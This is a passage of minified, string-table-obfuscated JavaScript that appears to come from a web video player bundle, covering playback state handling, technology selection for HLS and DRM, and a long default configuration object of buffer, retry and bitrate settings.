r(this,e[988])[e[697]]},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[1361],{get:function(){return r(this,e[1361])?o[e[159]](this)[e[679]]():null},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[13],{get:function(){return w},enumerable:!1,configurable:!0}),n[e[37]][e[75]]=function(n,t){r(this,e[75])[e[75]](n,t)},n[e[37]][e[792]]=function(n,t){return r(this,e[792])[e[792]](n,t)},n[e[37]][e[892]]=function(){r(this,e[1362])[e[892]]()},n[e[37]][e[781]]=function(){r(this,e[781])[e[781]]()},n[e[37]][e[822]]=function(){r(this,e[822])[e[822]]()},n[e[37]][e[165]]=function(){var n=r(this,e[165])[e[165]]();return o[e[768]](this),c--,n},n[e[37]][e[859]]=function(){return r(this,e[859])[e[859]]()},n[e[37]][e[860]]=function(){return r(this,e[860])[e[860]]()},n[e[37]][e[844]]=function(){return r(this,e[844])[e[844]]()},n[e[37]][e[862]]=function(){return r(this,e[862])[e[862]]()},n[e[37]][e[644]]=function(){return r(this,e[644])[e[644]]()},n[e[37]][e[851]]=function(){return r(this,e[851])[e[851]]()},n[e[37]][e[861]]=function(){return r(this,e[861])[e[861]]()},n[e[37]][e[850]]=function(){return r(this,e[850])[e[850]]()},n[e[37]][e[658]]=function(n){return r(this,e[658])[e[658]](n)},n[e[37]][e[956]]=function(){return r(this,e[956])[e[956]]()},n[e[37]][e[835]]=function(n){return void 0===n&&(n=h[e[276]][e[836]]),r(this,e[835])[e[835]](e[591],n)},n[e[37]][e[856]]=function(){return r(this,e[856])[e[856]]()},n[e[37]][e[855]]=function(){return r(this,e[855])[e[855]]()},n[e[37]][e[773]]=function(){return r(this,e[773])[e[773]]()},n[e[37]][e[257]]=function(){return r(this,e[257])[e[257]]()},n[e[37]][e[863]]=function(){return r(this,e[863])[e[863]]()},n[e[37]][e[846]]=function(){return r(this,e[846])[e[846]]()},n[e[37]][e[858]]=function(){return r(this,e[858])[e[858]]()},n[e[37]][e[1076]]=function(){return r(this,e[1076])[e[1076]]()},n[e[37]][e[857]]=function(){return r(this,e[857])[e[857]]()},n[e[37]][e[659]]=function(){return r(this,e[659])[e[659]]()},n[e[37]][e[1075]]=function(n,t){return r(this,e[1075])[e[1075]](n,t)},n[e[37]][e[960]]=function(){return r(this,e[960])[e[960]]()},n[e[37]][e[1108]]=function(){return r(this,e[1108])[e[1108]]()},n[e[37]][e[961]]=function(n){return void 0===n&&(n=h[e[964]][e[963]]),r(this,e[961])[e[961]](n)},n[e[37]][e[1113]]=function(n){return r(this,e[1113])[e[1113]](n)},n[e[37]][e[847]]=function(){return r(this,e[847])[e[847]]()},n[e[37]][e[775]]=function(){return r(this,e[775])[e[775]]()},n[e[37]][e[845]]=function(){return r(this,e[845])[e[845]]()},n[e[37]][e[865]]=function(){return r(this,e[865])[e[865]]()},n[e[37]][e[810]]=function(){return r(this,e[810])[e[810]]()},n[e[37]][e[849]]=function(){return r(this,e[849])[e[849]]()},n[e[37]][e[780]]=function(){return r(this,e[780])[e[780]]()},n[e[37]][e[779]]=function(){return r(this,e[779])[e[779]]()},n[e[37]][e[1105]]=function(n){return r(this,e[1105])[e[1105]](n)},n[e[37]][e[782]]=function(){return r(this,e[782])[e[782]]()},n[e[37]][e[796]]=function(){return r(this,e[796])[e[796]]()},n[e[37]][e[1100]]=function(){return r(this,e[1100])[e[1100]]()},n[e[37]][e[1098]]=function(){return r(this,e[1098])[e[1098]]()},n[e[37]][e[848]]=function(){return r(this,e[848])[e[848]]()},n[e[37]][e[1019]]=function(n,t,i){return r(this,e[1019])[e[1019]](n,t,i)},n[e[37]][e[807]]=function(n){r(this,e[807])[e[807]](n)},n[e[37]][e[885]]=function(n){r(this,e[885])[e[885]](n)},n[e[37]][e[363]]=function(n){return r(this,e[363])[e[363]](n)},n[e[37]][e[96]]=function(n,t){r(this,e[96])[e[96]](n,t)},n[e[37]][e[783]]=function(){return r(this,e[783])[e[783]]()},n[e[37]][e[369]]=function(n,t){return r(this,e[369])[e[369]](n,t)},n[e[37]][e[797]]=function(n){return r(this,e[797])[e[797]](n)},n[e[37]][e[611]]=function(n){r(this,e[611])[e[611]](n)},n[e[37]][e[765]]=function(n){r(this,e[765])[e[765]](n)},n[e[37]][e[1110]]=function(n){r(this,e[1363])[e[1110]](n)},n[e[37]][e[888]]=function(n){r(this,e[888])[e[888]](n)},n[e[37]][e[986]]=function(n,t){r(this,e[986])[e[986]](n,t)},n[e[37]][e[821]]=function(n){r(this,e[821])[e[821]](n)},n[e[37]][e[1103]]=function(n){r(this,e[1103])[e[1103]](n)},n[e[37]][e[763]]=function(n){r(this,e[763])[e[763]](n)},n[e[37]][e[812]]=function(n,t){r(this,e[812])[e[812]](n,t)},n[e[37]][e[957]]=function(n){return r(this,e[957])[e[957]](n)},n[e[37]][e[814]]=function(n,t){r(this,e[814])[e[814]](n,t)},n[e[37]][e[594]]=function(){return r(this,e[594])[e[594]]()},n[e[37]][e[811]]=function(n){r(this,e[811])[e[811]](n)},n[e[37]][e[853]]=function(){return r(this,e[853])[e[853]]()},n[e[37]][e[854]]=function(){return r(this,e[854])[e[854]]()},n[e[37]][e[823]]=function(){r(this,e[823])[e[823]]()},n[e[37]][e[228]]=function(){return r(this,e[228])[e[228]]()},n[e[37]][e[804]]=function(){r(this,e[804])[e[804]]()},n[e[37]][e[738]]=function(n){r(this,e[738])[e[738]](n)},n[e[37]][e[1104]]=function(){return r(this,e[1104])[e[1104]]()},n[e[37]][e[1156]]=function(){return r(this,e[1156])[e[1156]]()},n[e[37]][e[1158]]=function(n){return r(this,e[1158])[e[1158]](n)},n[e[37]][e[998]]=function(n,t){r(this,e[998])[e[998]](n,t)},n[e[37]][e[614]]=function(){return r(this,e[614])[e[614]]()},Object[e[82]](n,e[1359],{get:function(){return v[e[324]][e[350]]},enumerable:!1,configurable:!0}),n[e[1364]]=function(n){s[e[140]][e[143]](n)},n[e[1365]]=function(n){if(c>0)throw new a[e[147]](l[e[145]][e[1366]],void 0,e[1367]);s[e[140]][e[157]](n)},n[e[1368]]=function(){return s[e[140]][e[160]]()},u([k[e[1169]](e[1369])],n[e[37]],e[44],null),u([f[e[561]]],n[e[37]],e[1359],null),u([f[e[561]]],n[e[37]],e[615],null),u([f[e[561]]],n[e[37]],e[1117],null),u([f[e[561]]],n[e[37]],e[1360],null),u([f[e[561]]],n[e[37]],e[1131],null),u([f[e[561]]],n[e[37]],e[946],null),u([f[e[561]]],n[e[37]],e[777],null),u([f[e[561]]],n[e[37]],e[988],null),u([f[e[561]]],n[e[37]],e[1361],null),u([f[e[561]]],n[e[37]],e[13],null),n}();t[e[323]]=p},33696:function(n,t,i){var r,u,f,o,s,h,c,l,a;e[32];r=this&&this[e[210]]||function(){var n=function(t,i){return n=Object[e[211]]||{__proto__:[]}instanceof Array&&function(n,t){n[e[212]]=t}||function(n,t){for(var i in t)Object[e[37]][e[213]][e[36]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this[e[105]]=t}if(e[34]!=typeof i&&null!==i)throw new TypeError(e[214]+String(i)+e[215]);n(t,i);t[e[37]]=null===i?Object[e[52]](i):(r[e[37]]=i[e[37]],new r)}}();Object[e[82]](t,e[139],{value:!0});t[e[276]]=t[e[964]]=t[e[997]]=t[e[1355]]=t[e[1198]]=t[e[269]]=t[e[293]]=t[e[715]]=t[e[790]]=void 0;var v=i(25550),y=i(28764),p=i(40362);Object[e[82]](t,e[790],{enumerable:!0,get:function(){return p[e[790]]}});s=i(83091);Object[e[82]](t,e[715],{enumerable:!0,get:function(){return s[e[715]]}}),function(n){n[e[298]]=e[1370];n[e[292]]=e[728];n[e[192]]=e[946];n[e[1371]]=e[1372]}(u||(t[e[293]]=u={})),function(n){n[e[268]]=e[1373];n[e[270]]=e[1374]}(f||(t[e[269]]=f={})),function(n){n[e[1201]]=e[263];n[e[1202]]=e[977];n[e[1203]]=e[38];n[e[1204]]=e[73];n[e[1199]]=e[96]}(o||(t[e[1198]]=o={}));a=function(n){function t(t){return n[e[36]](this,v[e[145]][e[1058]],void 0,e[1376][e[41]](t,e[1375]))||this}return r(t,n),t}(y[e[147]]);t[e[1355]]=a,function(n){n[e[996]]=e[1377];n[e[1159]]=e[1378];n[e[1379]]=e[1380]}(h||(t[e[997]]=h={})),function(n){n[e[963]]=e[1381];n[e[966]]=e[142];n[e[968]]=e[1382]}(c||(t[e[964]]=c={})),function(n){n[e[275]]=e[1383];n[e[836]]=e[1384]}(l||(t[e[276]]=l={}))},82334:function(n,t){e[32];Object[e[82]](t,e[139],{value:!0});t[e[1141]]=void 0;var i=function(){function n(){}return n[e[52]]=function(n){return new(function(){function t(){}return t[e[37]][e[285]]=function(t,i,r){n[e[837]](t,i,r)},t[e[37]][e[817]]=function(t,i){return n[e[267]](t,i)},t}())},n}();t[e[1141]]=i},25226:function(n,t){var i,r,u,f;e[32];Object[e[82]](t,e[139],{value:!0});t[e[1385]]=t[e[1386]]=t[e[1387]]=t[e[1388]]=void 0,function(n){n[e[1389]]=e[238];n[e[1390]]=e[239];n[e[1391]]=e[1392]}(i||(t[e[1388]]=i={})),function(n){n[e[1393]]=e[1394];n[e[1395]]=e[1396];n[e[1397]]=e[1398];n[e[1399]]=e[1400];n[e[1401]]=e[1402]}(r||(t[e[1387]]=r={})),function(n){n[e[1403]]=e[1404];n[e[1405]]=e[1406]}(u||(t[e[1386]]=u={})),function(n){n[e[1407]]=e[1408];n[e[1409]]=e[1410];n[e[1411]]=e[1412]}(f||(t[e[1385]]=f={}))},62987:function(n,t,i){e[32];Object[e[82]](t,e[139],{value:!0});t[e[734]]=void 0;var u=i(47384),r=i(60997),f=i(87326),o=i(88141),s=i(61489),h=i(13533),c=i(77845),l=i(54838),a=i(3570),v=function(){function n(n){this[e[1413]]=n[e[1413]];this[e[1176]]=l[e[1001]][e[1358]]();this[e[1414]]=n[e[1414]]||{playback:{}};this[e[687]]=n[e[687]];this[e[785]]=n[e[785]]||f[e[685]];this[e[1415]]=new u[e[277]](this[e[785]][e[1416]],n[e[278]]);this[e[1417]]=n[e[646]]||null;this[e[1418]]();this[e[278]]=n[e[278]];this[e[596]]=n[e[596]];this[e[606]]=n[e[606]];this[e[731]]=n[e[731]];this[e[732]]=n[e[732]];this[e[733]]=n[e[733]];this[e[626]]=a[e[742]][e[741]](this,n[e[626]]);this[e[1419]]=!1}return n[e[37]][e[1418]]=function(){this[e[702]]=new c[e[1172]](h[e[107]](),e[1420],this[e[1176]]);this[e[702]][e[1174]](e[703],s[e[1421]]);this[e[702]][e[1174]](e[1422],o[e[1423]])},n[e[37]][e[1178]]=function(n){this[e[602]]=n},n[e[37]][e[1424]]=function(n){this[e[1425]]=n},Object[e[82]](n[e[37]],e[1426],{get:function(){return this[e[1419]]},enumerable:!1,configurable:!0}),n[e[37]][e[318]]=function(){this[e[1419]]=!0;this[e[606]]=r[e[318]](this[e[606]]);this[e[1425]]=null;this[e[1417]]=null;this[e[596]]=null;this[e[731]]=null;this[e[732]]=null;this[e[733]]=null;this[e[702]]=r[e[318]](this[e[702]])},n}();t[e[734]]=v},36334:function(n,t,i){e[32];Object[e[82]](t,e[139],{value:!0});t[e[692]]=void 0;var r=i(91520),u=i(16368),f=i(25550),o=i(28764),h=i(33696),s=i(13533),c=i(43485),l=i(82315),a=function(){function n(){this[e[1427]]=l[e[1428]][e[755]]()}return n[e[1429]]=function(t,i,r,u){return n[e[1430]](i)?t?new o[e[147]](f[e[145]][e[1431]],{"player-type":t[e[703]],"supported-tech":JSON[e[280]](r)},e[1432]):i[e[213]](e[615])?new o[e[147]](f[e[145]][e[1064]],void 0,e[1065]):u?new o[e[147]](f[e[145]][e[1062]],void 0,e[1063]):new o[e[147]](f[e[145]][e[1433]],{"supported-tech":JSON[e[280]](r)},e[1063]):new o[e[147]](f[e[145]][e[890]],{source:i},e[1434])},n[e[1430]]=function(n){var t,i,r,u;return n&&Boolean(null!==(u=null!==(r=null!==(i=null!==(t=n[e[716]])&&void 0!==t?t:n[e[718]])&&void 0!==i?i:n[e[720]])&&void 0!==r?r:n[e[721]])&&void 0!==u?u:n[e[723]])},n[e[37]][e[755]]=function(t){var u=Object[e[42]](t[e[805]]),h=s[e[617]]()[e[962]],i=c[e[1188]](t[e[1414]][e[637]]()[e[1187]],t[e[805]],t[e[1435]]),r,l,a,v;return u[e[26]]>0&&!n[e[1430]](t[e[805]])?Promise[e[886]](new o[e[147]](f[e[145]][e[1238]],{streamType:JSON[e[280]](u),supportedTech:JSON[e[280]](h)},e[1436])):u[e[26]]>0&&!i?Promise[e[886]](n[e[1429]](t[e[1435]],t[e[805]],h,i)):u[e[26]]<=0&&!h[e[26]]?Promise[e[886]](n[e[1429]](t[e[1435]],t[e[805]],h)):(u[e[26]]<=0&&(i=h[0]),r=t[e[91]][e[626]][e[740]](),t[e[600]]?t[e[600]][e[1437]](r):!r[e[982]]&&t[e[646]]&&t[e[646]][e[1002]](r),r[e[379]]=t[e[1438]][e[379]],r[e[813]]=t[e[1438]][e[813]]/100,l=t[e[1414]][e[1131]](),a=l[e[1440]][e[1439]],(s[e[617]]()[e[1441]]&&(l[e[1440]][e[1439]]=Math[e[245]](a,1e7),l[e[1442]]=!0),i)&&(v=n[e[1443]](t[e[91]],i),t[e[91]][e[1424]](v)),this[e[1006]](t[e[91]],i))},n[e[1443]]=function(n,t){return t[e[703]]===h[e[790]][e[1444]]?(s[e[617]]()[e[1445]]||n[e[785]][e[1446]])&&r[e[140]][e[152]](u[e[168]][e[200]])?new(r[e[140]][e[159]](u[e[168]][e[200]])[e[1447]]())(n):s[e[617]]()[e[1448]]&&r[e[140]][e[152]](u[e[168]][e[201]])?new(r[e[140]][e[159]](u[e[168]][e[201]])[e[1449]]())(n):s[e[617]]()[e[1450]]&&r[e[140]][e[152]](u[e[168]][e[206]])?new(r[e[140]][e[159]](u[e[168]][e[206]])[e[1451]]())(n):s[e[617]]()[e[1452]]&&r[e[140]][e[152]](u[e[168]][e[207]])?new(r[e[140]][e[159]](u[e[168]][e[207]])[e[1453]]())(n):new(r[e[140]][e[159]](u[e[168]][e[180]])[e[1454]])(n):null},n[e[37]][e[1006]]=function(n,t){var i,s=this,c,l,a;if(!n[e[1425]]&&t[e[703]]===h[e[790]][e[1444]])return Promise[e[886]](new o[e[147]](f[e[145]][e[1455]],{tech:JSON[e[280]](t)},e[1456]));if(!this[e[1457]]&&r[e[140]][e[152]](u[e[168]][e[179]])&&(c=r[e[140]][e[159]](u[e[168]][e[179]])[e[1458]],this[e[1457]]=new c(n,this[e[1427]])),t[e[703]]===h[e[790]][e[1459]])l=r[e[140]][e[159]](u[e[168]][e[208]])[e[1460]],i=Promise[e[575]](new l(n));else if(t[e[703]]===h[e[790]][e[789]])a=r[e[140]][e[159]](u[e[168]][e[182]])[e[1461]],i=Promise[e[575]](new a(n));else{if(t[e[703]]!==h[e[790]][e[1444]])return Promise[e[886]](new o[e[147]](f[e[145]][e[1238]],{given:t[e[703]],supported:e[1462]},e[1463]));i=n[e[1425]][e[361]]()[e[166]](function(){return new(r[e[140]][e[159]](u[e[168]][e[183]])[e[1464]])(n)})}return i[e[166]](function(t){return s[e[1457]]?s[e[1457]][e[1465]](n,t):t})[e[166]](function(i){return{context:n,logger:n[e[278]],bitdashPlayer:i,technology:t,videoElement:n[e[626]]}})},n}();t[e[692]]=a},59510:function(n,t,i){e[32];Object[e[82]](t,e[139],{value:!0});t[e[869]]=void 0;var s=i(18665),f=i(62510),u=i(17990),o=i(58975),r=i(76420),h=function(){function n(n){var t=this;this[e[1466]]=function(){t[e[1468]](u[e[1467]](!1))};this[e[1469]]=function(){t[e[1468]](u[e[1467]](!0))};this[e[758]]=function(){return o[e[758]](t[e[91]][e[702]][e[136]]())};this[e[1468]]=function(n){t[e[91]][e[702]][e[138]](n)};this[e[1470]]=function(n,i){t[e[1471]]!==n&&(t[e[1471]]=n,t[e[1468]](u[e[1472]](n)));i&&i()};this[e[1473]]=function(n,i){if(t[e[1471]]!==n)t[e[1471]]=n,t[e[1468]](u[e[1474]](n));else{if(!t[e[1475]](n))return;t[e[91]][e[278]][e[263]](e[1477][e[41]](r[e[1476]][n]));t[e[1468]](u[e[1478]](0))}i&&i()};this[e[91]]=n;this[e[596]]=n[e[596]];this[e[596]][e[75]](f[e[359]][e[364]],this[e[1469]],!0);this[e[596]][e[75]](f[e[359]][e[482]],this[e[1466]],!0);this[e[1468]](u[e[1480]]([e[1157],e[1479]]));this[e[1481]]=n[e[606]][e[159]](s[e[608]][e[1026]]);this[e[1482]]=!1}return n[e[37]][e[677]]=function(){this[e[1483]](!1);this[e[1484]]();this[e[1471]]=r[e[1476]][e[1485]];this[e[1486]]=r[e[1487]][e[1485]]},Object[e[82]](n[e[37]],e[1471],{get:function(){return this[e[758]]()[e[1471]]},set:function(n){var t=this[e[758]]()[e[1471]];this[e[91]][e[278]][e[263]](e[1489][e[41]](r[e[1476]][t],e[1488])[e[41]](r[e[1476]][n]));this[e[1468]](u[e[1490]](n))},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[1486],{get:function(){return this[e[758]]()[e[1486]]},set:function(n){var t=this[e[758]]()[e[1486]];this[e[91]][e[278]][e[263]](e[1491][e[41]](r[e[1487]][t],e[1488])[e[41]](r[e[1487]][n]));this[e[1468]](u[e[1492]](n))},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[1493],{get:function(){return this[e[758]]()[e[1493]]},set:function(n){var t=this[e[758]]()[e[1493]];this[e[91]][e[278]][e[263]](e[1495][e[41]](r[e[1494]][t],e[1488])[e[41]](r[e[1494]][n]));this[e[1468]](u[e[1496]](n))},enumerable:!1,configurable:!0}),n[e[37]][e[1497]]=function(n,t,i,r){this[e[1486]]=n;r&&this[e[596]][e[710]](f[e[359]][e[368]],{position:this[e[835]](),seekTarget:t,issuer:i||e[591]});this[e[1468]](u[e[1498]](t))},n[e[37]][e[1499]]=function(n,t,i){void 0===i&&(i=!0);this[e[1497]](r[e[1487]][e[1500]],n,t,i)},n[e[37]][e[1501]]=function(n,t,i){return void 0===i&&(i=!0),this[e[1497]](r[e[1487]][e[1502]],n,t,i)},n[e[37]][e[1483]]=function(n){void 0===n&&(n=!0);this[e[1503]]()&&(this[e[1486]]=r[e[1487]][e[370]],n&&this[e[596]][e[710]](f[e[359]][e[370]]));this[e[1504]]()},n[e[37]][e[1504]]=function(){this[e[1468]](u[e[1498]](-1))},n[e[37]][e[1503]]=function(){return o[e[1505]](this[e[758]]())},n[e[37]][e[1506]]=function(n,t,i,o){void 0===o&&(o=!0);this[e[1468]](u[e[1496]](r[e[1494]][e[1507]]));o&&this[e[596]][e[710]](f[e[359]][e[372]],{position:n,target:t,issuer:i||e[591]});this[e[1468]](u[e[1498]](t))},n[e[37]][e[1508]]=function(n){void 0===n&&(n=!0);this[e[1468]](u[e[1496]](r[e[1494]][e[1509]]));n&&this[e[596]][e[710]](f[e[359]][e[374]]);this[e[1504]]()},n[e[37]][e[1510]]=function(){this[e[1468]](u[e[1490]](r[e[1476]][e[1511]]))},n[e[37]][e[1512]]=function(){return o[e[1513]](this[e[758]]())},n[e[37]][e[1514]]=function(){return o[e[1515]](this[e[758]]())},Object[e[82]](n[e[37]],e[848],{get:function(){return this[e[758]]()[e[848]]},set:function(n){this[e[1468]](u[e[1516]](n))},enumerable:!1,configurable:!0}),n[e[37]][e[1517]]=function(n){this[e[1468]](u[e[1518]](n));n&&this[e[1098]]()&&!this[e[1519]]()&&(this[e[1482]]=!0);n?this[e[1520]]():this[e[1484]]()},n[e[37]][e[1521]]=function(){return o[e[1522]](this[e[758]]())},n[e[37]][e[1098]]=function(){return o[e[1523]](this[e[758]]())},n[e[37]][e[1524]]=function(){return o[e[1525]](this[e[758]]())},n[e[37]][e[1100]]=function(){return o[e[1526]](this[e[758]]())},n[e[37]][e[1527]]=function(){return o[e[759]](this[e[758]]())},n[e[37]][e[1520]]=function(){this[e[1524]]()||this[e[1503]]()||this[e[1514]]()||this[e[1503]]()||this[e[1514]]()||this[e[848]]||this[e[1100]]()||this[e[1527]]()||(this[e[848]]=!0,this[e[1481]][e[1528]](),this[e[596]][e[710]](f[e[359]][e[389]],{}))},n[e[37]][e[1484]]=function(){this[e[848]]&&(this[e[848]]=!1,this[e[1481]][e[1529]](),this[e[596]][e[710]](f[e[359]][e[391]],{}))},n[e[37]][e[1519]]=function(){return this[e[1475]](r[e[1476]][e[366]])},n[e[37]][e[1475]]=function(n){return this[e[758]]()[e[1530]][0]===n},n[e[37]][e[835]]=function(){return this[e[91]][e[626]][e[1531]]},n[e[37]][e[1532]]=function(n,t,i){var u=this;this[e[1098]]()||(n?i(r[e[1476]][e[362]],function(){u[e[596]][e[710]](f[e[359]][e[362]],{time:u[e[835]](),issuer:t},!1)}):i(r[e[1476]][e[362]]))},n[e[37]][e[868]]=function(n,t){this[e[1532]](n,t,this[e[1473]])},n[e[37]][e[1533]]=function(n,t){this[e[1532]](n,t,this[e[1470]])},n[e[37]][e[1534]]=function(n,t){var i=this;void 0===t&&(t=!0);this[e[1473]](r[e[1476]][e[364]],function(){t&&i[e[596]][e[710]](f[e[359]][e[364]],{time:i[e[835]](),issuer:n},!1)})},n[e[37]][e[1535]]=function(n,t,i){var u=this;if(void 0===i&&(i=!1),i&&this[e[1482]])return this[e[91]][e[278]][e[1137]](e[1536]),void(this[e[1482]]=!1);this[e[1482]]=!1;n&&this[e[848]]&&this[e[1484]]();this[e[91]][e[626]][e[1537]]||(n?this[e[1473]](r[e[1476]][e[366]],function(){u[e[596]][e[710]](f[e[359]][e[366]],{time:u[e[835]](),issuer:t},!1)}):this[e[1470]](r[e[1476]][e[366]]))},Object[e[82]](n[e[37]],e[1538],{get:function(){return this[e[758]]()[e[1538]]},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[887],{get:function(){var n=this[e[758]]()[e[887]];return n[e[1539]]*n[e[1540]]},enumerable:!1,configurable:!0}),n[e[37]][e[888]]=function(n,t,i){void 0===t&&(t=1);void 0===i&&(i=!0);var r=o[e[1076]](this[e[758]]());r[e[1539]]===n&&r[e[1540]]===t||(this[e[1468]](u[e[1541]]({speed:n,multiplier:t})),i&&this[e[596]][e[710]](f[e[359]][e[501]],{from:r[e[1539]],to:n}))},Object[e[82]](n[e[37]],e[1542],{get:function(){return o[e[1543]](this[e[758]]())},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[1544],{get:function(){return o[e[1545]](this[e[758]]())},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[1546],{get:function(){return o[e[1547]](this[e[758]]())},enumerable:!1,configurable:!0}),Object[e[82]](n[e[37]],e[1548],{get:function(){return this[e[758]]()[e[1548]]},enumerable:!1,configurable:!0}),n[e[37]][e[318]]=function(){this[e[596]][e[96]](f[e[359]][e[364]],this[e[1469]]);this[e[596]][e[96]](f[e[359]][e[482]],this[e[1466]])},n}();t[e[869]]=h},40362:function(n,t){var i;e[32];Object[e[82]](t,e[139],{value:!0});t[e[790]]=void 0,function(n){n[e[1444]]=e[1549];n[e[789]]=e[1550];n[e[1459]]=e[1551];n[e[897]]=e[1296]}(i||(t[e[790]]=i={}))},68329:function(n,t,i){function r(n){return new Date(Date[e[281]](n[e[1558]])+o[e[1246]](n[e[1321]]))[e[1557]]()}function u(n){var t;n[e[113]](function(n){n[e[213]](e[1559])&&n[e[1559]][e[113]](function(n){t&&!t[e[1560]]&&(t[e[1560]]=n[e[1558]]);n[e[1560]]||(isNaN(n[e[1321]])?n[e[1561]]&&(t=n):n[e[1560]]=r(n))})})}function f(n,t){var i={},r=function(n){var t=n[e[1562]],i=n[e[1563]];return t?e[90][e[41]](i,e[1564])[e[41]](t):i};return t[e[113]](function(n){return i[r(n)]=n}),n[e[113]](function(n){i[r(n)]&&(i[r(n)]=n)}),Object[e[1166]](i)}e[32];Object[e[82]](t,e[139],{value:!0});t[e[1552]]=t[e[1553]]=t[e[1554]]=t[e[1555]]=t[e[1556]]=void 0;var o=i(331);t[e[1556]]=r;t[e[1555]]=u;t[e[1554]]=f;t[e[1553]]=function(n,t){var i;return t[e[113]](function(n){return n[e[1565]]=!1}),u(i=0===n[e[26]]?t:f(n,t)),i};t[e[1552]]=function(n,t,i){var r;n[t]&&(function(){r=i;for(var u=t;u<n[e[26]];u++)n[u][e[1566]]=r,r+=n[u][e[1321]]}(),function(){r=i;for(var u=t-1;u>=0;u--)n[u][e[1566]]=r-n[u][e[1321]],r-=n[u][e[1321]]}())}},87326:function(n,t,i){var o,s,h,r,u,f;e[32];Object[e[82]](t,e[139],{value:!0});t[e[685]]=t[e[1567]]=void 0;u=i(67345);f=i(33696);t[e[1567]]={TARGET_BITRATE_FACTOR:1,TARGET_BUFFER_FACTOR:.8,BITRATE_MODIFIER_FUNCTION_TYPE:e[977]};t[e[685]]={TARGET_BUFFER_LEVEL:(o={},o[f[e[293]][e[292]]]=(s={},s[f[e[269]][e[268]]]=40,s[f[e[269]][e[270]]]=20,s),o[f[e[293]][e[298]]]=(h={},h[f[e[269]][e[268]]]=40,h[f[e[269]][e[270]]]=20,h),o),BUFFER_LOGIC_ACTIVATION_THRESHOLD:10,MIN_TIMELINE_LIVE_OFFSET:4,RETRY_DELAY:2,MAX_INCREASE_RETRY_DELAY_SEC:30,INCREASE_RETRY_DELAY:!0,INCREASE_RETRY_DELAY_BASE_SEC:.25,DISABLE_RETRY_FOR_RESPONSE_STATUS:(r={},r[u[e[1252]][e[1253]]]=[],r[u[e[1252]][e[1255]]]=[],r[u[e[1252]][e[1257]]]=[],r[u[e[1252]][e[1259]]]=[],r[u[e[1252]][e[1261]]]=[],r[u[e[1252]][e[1263]]]=[],r[u[e[1252]][e[1265]]]=[],r[u[e[1252]][e[1267]]]=[],r[u[e[1252]][e[1269]]]=[],r[u[e[1252]][e[1271]]]=[],r[u[e[1252]][e[1273]]]=[],r[u[e[1252]][e[1275]]]=[],r[u[e[1252]][e[1277]]]=[],r[u[e[1252]][e[1279]]]=[],r[u[e[1252]][e[1281]]]=[],r[u[e[1252]][e[1283]]]=[],r[u[e[1252]][e[1285]]]=[],r[u[e[1252]][e[1287]]]=[],r[u[e[1252]][e[1289]]]=[],r[u[e[1252]][e[1291]]]=[],r[u[e[1252]][e[1293]]]=[],r[u[e[1252]][e[1297]]]=[],r[u[e[1252]][e[1295]]]=[],r),METRIC_HISTORY_SIZE:30,DEFAULT_ADAPTATION_RULE_HISTORY_SIZE:40,LOG_LEVEL:2,LOG_PREFIX:e[90],RESTART_THRESHOLD:.9,RESTART_THRESHOLD_DELTA:.5,STARTUP_THRESHOLD:.9,STARTUP_THRESHOLD_DELTA:.5,START_SEARCHING_END:2,MAX_RETRIES:2,MAX_CDN_RETRIES:2,MAX_MPD_RETRIES:2,MPD_RETRY_DELAY:.5,MPD_UPDATE_PERIOD_TOLERANCE:5,DRM_MAX_RETRIES:1,DRM_RETRY_DELAY:.25,DRM_WITH_CREDENTIALS:!1,CAST_APPLICATION_ID:e[1568],CAST_MESSAGE_NAMESPACE:e[1569],BUFFER_VISIBILITY_DELAY:2,MIN_SELECTABLE_VIDEO_BITRATE:0,MAX_SELECTABLE_VIDEO_BITRATE:1/0,EXCLUDE_DISALLOWED_REPRESENTATIONS:!1,MIN_SELECTABLE_AUDIO_BITRATE:0,MAX_SELECTABLE_AUDIO_BITRATE:1/0,XHR_TIMEOUT:20,QUERY_PARAMETERS:void 0,GAP_TOLERANCE:.1,END_OF_BUFFER_TOLERANCE:.1,END_OF_BUFFER_RECOVERY_TOLERANCE:.5,MAX_POTENTIAL_GAP_TIME_DEVIATION:.125,SYNC_ON_SEEK_TIMEOUT:.25,SEEK_TO_END_OFFSET:2,MINIMUM_ALLOWED_UPDATE_PERIOD:1,MAXIMUM_ALLOWED_UPDATE_PERIOD:1/0,GLOBAL_DISABLE_SEEKING:!1,PRE_ROLL_RESTORE_THRESHOLD:.25,IOS_MIN_TIMEUPDATES_AFTER_AD:2,HTTP_HEADERS:{},DOWNLOAD_DURATION_SAFETY_MARGIN:.4,MAXIMUM_DOWNLOAD_DURATION_MULTIPLIER:2,RATE_SAFETY_MARGIN_PERCENTAGE:10,MAX_ALLOWED_BANDWIDTH_ESTIMATION:1/0,LIVE_SEGMENT_LIST_START_INDEX_OFFSET:0,MAX_NUM_CACHED_SEGMENTS:1,TRUN_VERSION:void 0,IGNORE_MP4_EDTS_BOX:!0,HLS_AUDIO_ONLY_THRESHOLD_BITRATE:2e5,ENABLE_SEEK_FOR_LIVE:!1,LIVE_EDGE_DISTANCE:0,QUALITY_THRESHOLD:.5,QUALITY_UPPER_THRESHOLD:45,MAX_CONSECUTIVE_VR_ERRORS:3,MAX_CONSECUTIVE_RENDERER_ERRORS:3,DISABLE_HLS_BACKUP_STREAM_FAILOVER:!1,PLAYBACK_TIMEOUT:1500,HLS_SYNC_VIA_MEDIA_SEQUENCE:!1,STOP_DOWNLOAD_ON_PAUSE:!1,VR_SCHEME_ID_URI:e[1570],HLS_VR_CHARACTERISTICS_UTI:e[1571],SAFARI_NUM_PROGRESS_EVENTS_AFTER_SEEK_GLITCH:5,SEGMENT_LOADER_POOL_SIZE:{},NATIVE_HLS_PARSING:!1,NATIVE_HLS_DOWNLOAD_ERROR_HANDLING:!1,AKAMAI_DATETIME_PARSING:!1,QJY_BROWSER_WORKAROUND:!1,DWORD_BASE_MEDIA_DECODE_TIMESTAMPS:!1,FORCE_BASE_MEDIA_DECODE_TIME_REWRITE:!1,WEBOS_MAX_SAFE_BMDT:274877906943,WEBOS_MAX_SAFE_PTO:4194303,TIZEN_MAX_SAFE_BMDT:4294967295,TIZEN_MAX_SAFE_PTO:4294967295,ADAPTATION_SET_SWITCH